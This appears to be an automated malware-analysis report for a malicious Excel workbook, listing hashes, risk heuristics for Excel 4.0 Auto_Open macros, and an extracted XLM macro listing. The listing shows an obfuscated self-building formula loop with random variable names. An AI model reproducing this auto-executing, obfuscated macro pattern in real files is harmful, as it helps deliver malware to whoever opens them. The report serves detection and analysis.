Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 98f53d1b391ddf7c…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:43:03 Authoring application: Microsoft Excel First seen: 2021-03-31
MD5: f1850c97b85ec25af704c339e85772a8 SHA-1: 6c9e868164d370d22ee818437d4be055cff31800 SHA-256: 98f53d1b391ddf7cbaad1632b11ba334d40660a7f2bb18ffc784f69711a384e0
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6343 bytes
SHA-256: 5e74c5da1d601a5b7450bffb1140c4d3c02e99da3cf3482e438e8435c3282951
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  UTR
' 0018     26 LABEL : Cell Value, String Constant - AHRmBrGrOTO len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!C179 
' 0018     23 LABEL : Cell Value, String Constant - AxCsBNYb len=0 
' 0018     20 LABEL : Cell Value, String Constant - aZEMJ len=0 
' 0018     20 LABEL : Cell Value, String Constant - batWt len=0 
' 0018     27 LABEL : Cell Value, String Constant - bndoUpGgaWnI len=0 
' 0018     22 LABEL : Cell Value, String Constant - CLMCyVu len=0 
' 0018     22 LABEL : Cell Value, String Constant - DKJQjoH len=0 
' 0018     20 LABEL : Cell Value, String Constant - EnNVx len=0 
' 0018     26 LABEL : Cell Value, String Constant - EowAFwdmPHX len=0 
' 0018     25 LABEL : Cell Value, String Constant - hWwIviYPOj len=0 
' 0018     22 LABEL : Cell Value, String Constant - IwMHpRL len=0 
' 0018     20 LABEL : Cell Value, String Constant - kjckX len=0 
' 0018     22 LABEL : Cell Value, String Constant - OJKnKUo len=0 
' 0018     22 LABEL : Cell Value, String Constant - oOEsxsB len=0 
' 0018     27 LABEL : Cell Value, String Constant - sbbJqBmzHAbV len=0 
' 0018     23 LABEL : Cell Value, String Constant - uMwProiZ len=0 
' 0018     22 LABEL : Cell Value, String Constant - yEhcSpB len=0 
' 0018     21 LABEL : Cell Value, String Constant - ZuQEUP len=0 
' 0018     21 LABEL : Cell Value, String Constant - ZxkNOy len=0 
' 0018     26 LABEL : Cell Value, String Constant - ZzUSCgElkmK len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  UTR,C90,"SET.NAME("ZuQEUP",VALUE("0"))",""
'  UTR,C93,"SET.NAME("oOEsxsB",ZuQEUP)",""
'  UTR,C95,"SET.NAME("batWt",ZuQEUP)",""
'  UTR,C99,"SET.NAME("OJKnKUo",COUNTA(hWwIviYPOj))",""
'  UTR,C104,"SET.NAME("CLMCyVu",COUNTA(bndoUpGgaWnI))",""
'  UTR,C106,[],""
'  UTR,C108,"SET.NAME("uMwProiZ","")",""
'  UTR,C112,"oOEsxsB",""
'  UTR,C114,"SET.NAME("sbbJqBmzHAbV",HLOOKUP("*",hWwIviYPOj,oOEsxsB,FALSE))",""
'  UTR,C116,"yEhcSpB",""
'  UTR,C119,"SET.NAME("ZzUSCgElkmK",ZuQEUP)",""
'  UTR,C123,[],""
'  UTR,C126,"ZzUSCgElkmK",""
'  UTR,C128,"AxCsBNYb",""
'  UTR,C133,"ZxkNOy",""
'  UTR,C136,"EowAFwdmPHX",""
'  UTR,C141,"SET.NAME("AHRmBrGrOTO",VALUE(HLOOKUP("*",bndoUpGgaWnI,EowAFwdmPHX,FALSE)))",""
'  UTR,C145,"kjckX",""
'  UTR,C147,"uMwProiZ",""
'  UTR,C151,"batWt",""
'  UTR,C155,NEXT(),""
'  UTR,C159,"EnNVx",""
'  UTR,C163,"SET.NAME("f",INT(T(FORMULA(T(uMwProiZ)&"",""&T(EnNVx)))))",""
'  UTR,C167,"aZEMJ",""
'  UTR,C171,NEXT(),""
'  UTR,C174,RETURN(),""
'  UTR,C205,"SET.NAME("DKJQjoH",C90)",""
'  UTR,C209,"hWwIviYPOj",""
'  UTR,C213,"SET.NAME("bndoUpGgaWnI",R53C15)",""
'  UTR,C215,"SET.NAME("aZEMJ",221)",""
'  UTR,C218,"SET.NAME("IwMHpRL",3)",""
'  UTR,C220,DKJQjoH(),""
'  UTR,C221,HALT(),""

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